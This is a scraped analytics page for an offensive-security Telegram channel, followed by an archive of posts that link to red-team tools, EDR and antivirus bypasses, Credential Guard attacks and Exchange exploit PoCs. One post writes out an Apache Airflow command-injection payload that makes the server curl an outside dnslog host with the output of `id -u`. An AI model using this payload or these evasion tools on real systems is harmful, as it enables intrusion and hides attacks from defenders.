ch
Feedback
APT

APT

前往频道在 Telegram

This channel discusses: — Offensive Security — RedTeam — Malware Research — OSINT — etc Disclaimer: t.me/APT_Notes/6 Chat Link: t.me/APT_Notes_PublicChat

显示更多
俄罗斯45 663技术与应用8 841

📈 Telegram 频道 APT 的分析概览

频道 APT (@apt_notes) 英语 语言赛道中的 是活跃参与者。目前社区聚集了 14 653 名订阅者，在 技术与应用 类别中位列第 8 841，并在 俄罗斯 地区排名第 45 663 位。

📊 受众指标与增长动态

自 невідомо 创建以来，项目保持高速增长，吸引了 14 653 名订阅者。

根据 11 六月, 2026 的最新数据，频道保持稳定运转。过去 30 天订阅人数变化为 406，过去 24 小时变化为 16，整体触达仍然可观。

  • 认证状态： 未认证
  • 互动率 (ER)： 平均受众互动率为 48.83%。内容发布后 24 小时内通常能获得 N/A% 的反应，占订阅者总量。
  • 帖子覆盖： 每篇帖子平均可获得 7 154 次浏览，首日通常累积 0 次浏览。
  • 互动与反馈： 受众积极参与，单帖平均反应数为 18。

📝 描述与内容策略

作者将该频道定位为表达主观观点的平台：
“This channel discusses: — Offensive Security — RedTeam — Malware Research — OSINT — etc Disclaimer: t.me/APT_Notes/6 Chat Link: t.me/APT_Notes_PublicChat”

凭借高频更新（最新数据采集于 12 六月, 2026），频道始终保持新鲜度与高覆盖。分析显示受众积极互动，使其成为 技术与应用 类别中的关键影响点。

14 653
订阅者
+1624 小时
+1087 天
+40630 天
帖子存档
APT
APT
14 658
⚙️ Meterpreter BOFLoader In this guide, you'll learn how the new BOFLoader extension allows BOFs to be used from a Meterprete
⚙️ Meterpreter BOFLoader In this guide, you'll learn how the new BOFLoader extension allows BOFs to be used from a Meterpreter session. Discover new attacks made possible in Meterpreter and avoid common errors. https://www.trustedsec.com/blog/operators-guide-to-the-meterpreter-bofloader #msf #meterpreter #bof #loader

APT
APT
14 658
Repost from 1N73LL1G3NC3
Inline-Execute-PE Is a CobaltStrike toolkit enabling users to load and repeatedly run unmanaged Windows exe’s in Beacon memor
Inline-Execute-PE Is a CobaltStrike toolkit enabling users to load and repeatedly run unmanaged Windows exe’s in Beacon memory without dropping to disk or creating a new process each time.

APT
APT
14 658
😈 Microsoft Exchange: OWASSRF + TabShell (CVE-2022-41076) The TabShell vulnerability its a form of Privilege Escalation which allows breaking out of the restricted Powershell Sandbox after you have successfully gained access through OWASSRF. For a detailed write see research: https://blog.viettelcybersecurity.com/tabshell-owassrf/ PoC: https://gist.github.com/testanull/518871a2e2057caa2bc9c6ae6634103e #owa #ssrf #tabshell #poc

APT
APT
14 658
✨ Happy New Year! Happy holiday to you, dear friends and subscribers of my channel! This year has brought a lot of trouble an
✨ Happy New Year! Happy holiday to you, dear friends and subscribers of my channel! This year has brought a lot of trouble and a lot of joyful moments. In the new year, I wish you more vulnerabilities found, interesting research and all the best. Thank you for all the support, feedback, and messages this year! Love you all ♥️

APT
APT
14 658
Repost from Offensive Xwitter
👹 [ snovvcrash, sn🥶vvcr💥sh ] Rewritten #DirtyVanity PoC injector to C# and #DInvoke. Great stuff @eliran_nissan! https://t
👹 [ snovvcrash, sn🥶vvcr💥sh ] Rewritten #DirtyVanity PoC injector to C# and #DInvoke. Great stuff @eliran_nissan! https://t.co/ifQLPMSFpb Happy upcoming New Year to everyone! 🎄 🔗 https://gist.github.com/snovvcrash/09deab831d49028e194e8ee83f2616a9 🐥 [ tweet ][ quote ]

APT
APT
14 658
🔑 Pass-the-Challenge This blog post introduces new techniques for recovering the NTLM hash from an encrypted credential prot
🔑 Pass-the-Challenge This blog post introduces new techniques for recovering the NTLM hash from an encrypted credential protected by Windows Defender Credential Guard. While previous techniques for bypassing Credential Guard focus on attackers targeting new victims who log into a compromised server, these new techniques can also be applied to victims logged on before the server was compromised. Research: https://research.ifcr.dk/pass-the-challenge-defeating-windows-defender-credential-guard-31a892eee22 Source: https://github.com/ly4k/PassTheChallenge #ad #windows #ntlm #challenge

APT
APT
14 658
Happy Christmas to everyone!
Happy Christmas to everyone!

APT
APT
14 658
🎲 PowerShell Obfuscation A simple and effective powershell obfuscaiton tool bypass Anti-Virus and AMSI-bypass + ETW-block. h
🎲 PowerShell Obfuscation A simple and effective powershell obfuscaiton tool bypass Anti-Virus and AMSI-bypass + ETW-block. https://github.com/H4de5-7/powershell-obfuscation #powershell #obfuscation #amsi #etw #bypass

APT
APT
14 658
👾 Windows Drivers Reverse Engineering Methodology This blog post details a methodology for reverse engineering and finding v
👾 Windows Drivers Reverse Engineering Methodology This blog post details a methodology for reverse engineering and finding vulnerable code paths in Windows drivers. Including a guide for setting up a lab for (the pesky) kernel debugging. https://voidsec.com/windows-drivers-reverse-engineering-methodology/ #reverse #driver #analysis

APT
APT
14 658
💥 Shellcode Mutator New tool to help red teamers avoid detection. Shellcode is a small piece of code that is typically used
💥 Shellcode Mutator New tool to help red teamers avoid detection. Shellcode is a small piece of code that is typically used as the payload in an exploit, and can often be detected by its “signature”, or unique pattern. Shellcode Mutator mutates exploit source code without affecting its functionality, changing its signature and making it harder to reliably detect as malicious. Research: https://labs.nettitude.com/blog/shellcode-source-mutations/ Source: https://github.com/nettitude/ShellcodeMutator #shellcode #mutator #nasm #redteam

APT
APT
14 658
😈 OWASSRF — New Exploit Method for Exchange Bypassing ProxyNotShell Mitigations CrowdStrike recently discovered a new exploit method using CVE-2022-41080 and CVE-2022-41082 to achieve remote code execution (RCE) through Outlook Web Access. https://www.crowdstrike.com/blog/owassrf-exploit-analysis-and-recommendations/ #owa #exchange #ssrf #proxynotshell

APT
APT
14 658
Repost from internet-lab.ru
🔐 MULTIFACTOR — особенности 2FA Существует неплохое решение для организации двухфакторной аутентификации в корпоративной среде под названием MULTIFACTOR. Входит в реестр российского ПО за номером 7046. Это не реклама, поскольку сегодня буквально в двух словах мы расскажем про то как этот второй фактор можно обойти в некоторых очень частных случаях. Бу-га-га. #security #special https://internet-lab.ru/multifactor_2fa_bug

APT
APT
14 658
💉 Dirty Vanity — A New Approach to Code injection & EDR bypass A POC for the new injection technique, abusing windows fork API to evade EDRs. Source: https://github.com/deepinstinct/Dirty-Vanity Research: https://i.blackhat.com/EU-22/Thursday-Briefings/EU-22-Nissan-DirtyVanity.pdf #av #edr #bypass #injection #fork #api

APT
APT
14 658
⚔️ DirCreate2System Weaponizing to get NT AUTHORITY\SYSTEM for Privileged Directory Creation Bugs with Windows Error Reportin
⚔️ DirCreate2System Weaponizing to get NT AUTHORITY\SYSTEM for Privileged Directory Creation Bugs with Windows Error Reporting https://github.com/binderlabs/DirCreate2System #windows #privesc #directory #error #report

APT
APT
14 658
⚔️ Mangle — EDR Bypass This is a tool that manipulates aspects of compiled executables (.exe or DLL). Mangle can remove known
⚔️ Mangle — EDR Bypass This is a tool that manipulates aspects of compiled executables (.exe or DLL). Mangle can remove known Indicators of Compromise (IoC) based strings and replace them with random characters, change the file by inflating the size to avoid EDRs, and can clone code-signing certs from legitimate files. In doing so, Mangle helps loaders evade on-disk and in-memory scanners. https://github.com/optiv/Mangle #edr #bypass #inflate #certificate

APT
APT
14 658
🎁 HackTheBox — ProLab Discount HackTheBox is running a huge pro-lab discount this month. Use coupon code: "weloveprolabs22"
🎁 HackTheBox — ProLab Discount HackTheBox is running a huge pro-lab discount this month. Use coupon code: "weloveprolabs22" and waive the setup fee ($95) of any pro lab. Each pro lab is $27/m, which makes this over 75% off. The coupon expires at the end of the year. #hackthebox #prolab #discount

APT
APT
14 658
Repost from Ralf Hacker Channel
Довольно интересный анализ на примере Аваста Hooking System Calls in Windows 11 22H2 like Avast Antivirus. Research, analysis and bypass https://the-deniss.github.io/posts/2022/12/08/hooking-system-calls-in-windows-11-22h2-like-avast-antivirus.html #research #redteam

APT
APT
14 658
Repost from In4sek stories

APT
APT
14 658
💨 Apache Airflow RCE Tracked as CVE-2022-40127, the flaw affects Apache Airflow versions prior to 2.4.0. Apache Airflow coul
💨 Apache Airflow RCE Tracked as CVE-2022-40127, the flaw affects Apache Airflow versions prior to 2.4.0. Apache Airflow could allow a remote attacker to execute arbitrary commands via the manually provided run_id parameter, which exists in Example Dags of Apache Airflow. By sending a specially crafted request, an attacker could exploit the CVE-2022-40127 flaw to execute arbitrary commands. PoC: 1. Active example_bash_operator at DAGs 2. Run ID parameter {"test":"\";curl `id -u`.xxx.dnslog.cn;\""} #apache #airflow #dags #rce

APT
APT
14 658
💣 ProxyNotShell PoC ProxyNotShell this is a new exploit used in the wild takes advantage of the recently published Microsoft
💣 ProxyNotShell PoC ProxyNotShell this is a new exploit used in the wild takes advantage of the recently published Microsoft Server-Side Request Forgery vulnerability (CVE-2022-41040) and a second vulnerability that allows Remote Code Execution (CVE-2022-41082) when PowerShell is available on the Exchange Server. Research: https://www.zerodayinitiative.com/blog/2022/11/14/control-your-types-or-get-pwned-remote-code-execution-in-exchange-powershell-backend Nmap Checker: https://github.com/CronUp/Vulnerabilidades/blob/main/proxynotshell_checker.nse PoC: https://github.com/testanull/ProxyNotShell-PoC #exchange #proxynotshell #ssrf #rce